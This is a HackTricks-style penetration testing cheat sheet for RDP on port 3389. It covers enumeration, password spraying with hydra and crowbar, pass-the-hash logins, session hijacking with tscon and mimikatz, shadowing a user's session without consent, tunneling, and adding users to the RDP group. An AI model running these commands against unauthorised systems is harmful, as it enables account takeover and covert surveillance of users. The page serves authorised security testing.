3389 - Pentesting RDP

Basic Information

Microsoft’s Remote Desktop Protocol (RDP) carries graphical display, keyboard, mouse, clipboard, device-redirection, and virtual-channel traffic between a client and a Remote Desktop Session Host. Current Windows deployments should prefer TLS plus Credential Security Support Provider (CredSSP), commonly presented as Network Level Authentication (NLA), instead of the legacy native RDP security layer.^[3]

Default port: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeration

Automatic

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

These scripts enumerate supported encryption, check the MS12-020 condition without deliberately triggering the denial of service, and obtain Windows information exposed through NTLM.^[4]

Security Layer / NLA Checks

RDP can negotiate different security layers (native RDP, TLS, or CredSSP/NLA). You can quickly fingerprint the server-side settings and whether NLA is required:

# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>

# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>

# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot

# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot

Brute force

Be careful, you could lock accounts

Password Spraying

Be careful, you could lock accounts

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Connect with known credentials/hash

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Check known credentials against RDP services

rdp_check.py from impacket let you check if some credentials are valid for a RDP service:

rdp_check <domain>/<name>:<password>@<IP>

Attacks

Session stealing

With the required Full Control or Connect permission on an RD Session Host, tscon can connect one session to another. A SYSTEM context may possess sufficient local rights in common post-exploitation scenarios, but the documented authorization check still matters.^[5]

Get openned sessions:

query user

Access to the selected session

tscon <ID> /dest:<SESSIONNAME>

The destination session disconnects and is connected to the selected target session. This gives interactive access to that desktop through built-in Windows functionality.

Important: Connecting to an active session can disconnect the user or the current destination session, so expect visible operational impact.^[5]

You could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user (passwords in notepad without been saved in disk, other RDP sessions opened in other machines…)

Mimikatz

You could also use mimikatz to do this:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

RDP Shadowing (Remote Control)

If Remote Desktop Services shadowing is enabled, you can view or control another user’s active session (sometimes without consent) using built-in mstsc switches.^[1]

# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>

# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control

# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt

# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

RDP Virtual Channel Tunneling

RDP supports virtual channels that can be abused for pivoting/tunneling over an established RDP session. One option is rdp2tcp (client/server) which can multiplex TCP forwards over RDP (works with FreeRDP).^[2]

# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp

Tunneling And Port Forwarding

Sticky-keys & Utilman

Combining session access with an existing Sticky Keys or Utilman backdoor can expose an administrative command prompt at the sign-in screen. Treat these file-replacement techniques as persistent, detectable system modifications.

You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

If someone from a different domain or with better privileges login via RDP to the PC where you are an Admin, you can inject your beacon in his RDP session process and act as him:

Rdp Sessions Abuse

Adding User to RDP group

net localgroup "Remote Desktop Users" UserLoginName /add

Automatic Tools

AutoRDPwn

AutoRDPwn is a PowerShell post-exploitation framework that automates RDP shadowing. Shadowing is an administrative feature, and no-consent control depends on privileges and the Remote Desktop Services policy; abuse of that configuration lets an operator view or control another user’s desktop with native tooling.^[1][6]

EvilRDP
- Control mouse and keyboard in an automated way from command line
- Control clipboard in an automated way from command line
- Spawn a SOCKS proxy from the client that channels network communication to the target via RDP
- Execute arbitrary SHELL and PowerShell commands on the target without uploading files
- Upload and download files to/from the target even when file transfers are disabled on the target
SharpRDP

This tool allows to execute commands in the victim RDP without needing a graphical interface.

HackTricks Automatic Commands

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for RDP
  Note: |
    Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

    https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
  Name: Nmap
  Description: Nmap with RDP Scripts
  Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}